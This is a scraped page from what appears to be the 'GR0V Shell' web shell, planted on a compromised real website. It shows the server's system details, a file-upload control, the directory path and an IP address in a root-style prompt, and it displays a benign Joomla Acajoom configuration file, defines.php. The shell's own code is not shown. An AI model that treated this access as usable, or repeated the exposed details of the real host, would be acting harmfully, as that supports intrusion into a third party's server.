? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/promice/components/com_acajoom/
File Upload :
Current File : /home/admin/public_html/old/promice/components/com_acajoom/defines.php

<?php
defined('_JEXEC') OR defined('_VALID_MOS') OR die('...Direct Access to this location is not allowed...');
### Copyright (C) 2006-2011 Joobi Limited. All rights reserved.
### http://www.joobi.co/index.php?option=com_content&view=article&id=12&Itemid=54


//if(defined('JPATH_ROOT')) define ('ACA_JPATH_ROOT' , JPATH_ROOT );
if ( !defined('ACA_CMSTYPE') ) {
	if ( defined('JPATH_ROOT') AND class_exists('JFactory') ) {	// joomla 15
		define( 'ACA_CMSTYPE', true );
	} else {
		define( 'ACA_CMSTYPE', false );
	}//endif
}//endif


if ( ACA_CMSTYPE ) {	// joomla 15
	global $mainframe;

	define ('ACA_JPATH_ROOT_NO_ADMIN' , JPATH_ROOT );
	define( 'ACA_DEBUG', $mainframe->getCfg('debug') );

	$site_url = $mainframe->getCfg('live_site');
	if(empty($site_url)) $site_url = JURI::root();
	define( 'ACA_JPATH_LIVE', rtrim( $site_url, "/" ));

	define( 'ACA_SITE_NAME', $mainframe->getCfg('sitename') );
	define( 'ACA_TIME_OFFSET', $mainframe->getCfg('offset') );
	$lang= JFactory::getLanguage();
	define( 'ACA_CONFIG_LANG', $lang->_metadata['backwardlang'] );


} else {									//joomla 1x
	define ('ACA_JPATH_ROOT_NO_ADMIN' , $GLOBALS['mosConfig_absolute_path']  );
	if ( !defined('ACA_JPATH_ROOT') ) define( 'ACA_JPATH_ROOT', $GLOBALS['mosConfig_absolute_path']);
	define( 'ACA_DEBUG', $GLOBALS['mosConfig_debug'] );
	define( 'ACA_JPATH_LIVE', $GLOBALS['mosConfig_live_site'] );

	define( 'ACA_SITE_NAME', $GLOBALS['mosConfig_sitename'] );
	define( 'ACA_TIME_OFFSET', $GLOBALS['mosConfig_offset_user']);
	define( 'ACA_CONFIG_LANG', $GLOBALS['mosConfig_lang'] );

}//endif

define( 'ACA_JPATH_LIVE_NO_HTTPS',str_replace('https:','http:',ACA_JPATH_LIVE));
define( 'ACA_OPTION', 'com_acajoom' );
//Make it absolute (needed inside Newsletters)
$urls = parse_url(ACA_JPATH_LIVE_NO_HTTPS);
if(!empty($urls['path'])){
	define('ACA_COMPLETE_URL',substr(ACA_JPATH_LIVE_NO_HTTPS,0,strrpos(ACA_JPATH_LIVE_NO_HTTPS,$urls['path'])).'/');
	//define('ACA_COMPLETE_URL',str_replace($urls['path'],'',ACA_JPATH_LIVE_NO_HTTPS).'/');
	define('ACA_URL_MORE',trim(str_replace(ACA_COMPLETE_URL,'',ACA_JPATH_LIVE_NO_HTTPS),'/').'/');
}else{
	define('ACA_COMPLETE_URL',ACA_JPATH_LIVE_NO_HTTPS.'/');
	define('ACA_URL_MORE',false);
}
define('ACA', 'aca_');
if (!defined('DS'))  define( 'DS', DIRECTORY_SEPARATOR );
define( 'WPATH_ADMIN' , ACA_JPATH_ROOT_NO_ADMIN . DS . 'administrator' . DS . 'components' . DS . ACA_OPTION . DS );
define( 'WPATH_FRONT' , ACA_JPATH_ROOT_NO_ADMIN . DS . 'components' . DS . ACA_OPTION . DS );
define( 'WPATH_CLASS', WPATH_ADMIN  . 'classes' .DS );
define( 'WJ_ADMIN_IMG', ACA_JPATH_LIVE .DS . 'administrator' . DS .'images'. DS );
define( 'WCOMP_AIMG', ACA_JPATH_LIVE .DS . 'administrator' . DS . 'components' . DS . ACA_OPTION . DS .'images'. DS );
define( 'ACA_PATH_LANG', WPATH_ADMIN .'language' .DS );
if (!defined('_MOS_NOTRIM')) define( '_MOS_NOTRIM', 0x0001 );
if (!defined('_MOS_ALLOWHTML')) define( '_MOS_ALLOWHTML', 0x0002 );
if (!defined('_MOS_ALLOWRAW')) define( '_MOS_ALLOWRAW', 0x0004 );
if(!defined('_BUTTON_LOGIN') and defined('BUTTON_LOGIN')) define('_BUTTON_LOGIN',BUTTON_LOGIN);



T1KUS90T
  root-grov@210.1.60.28:~$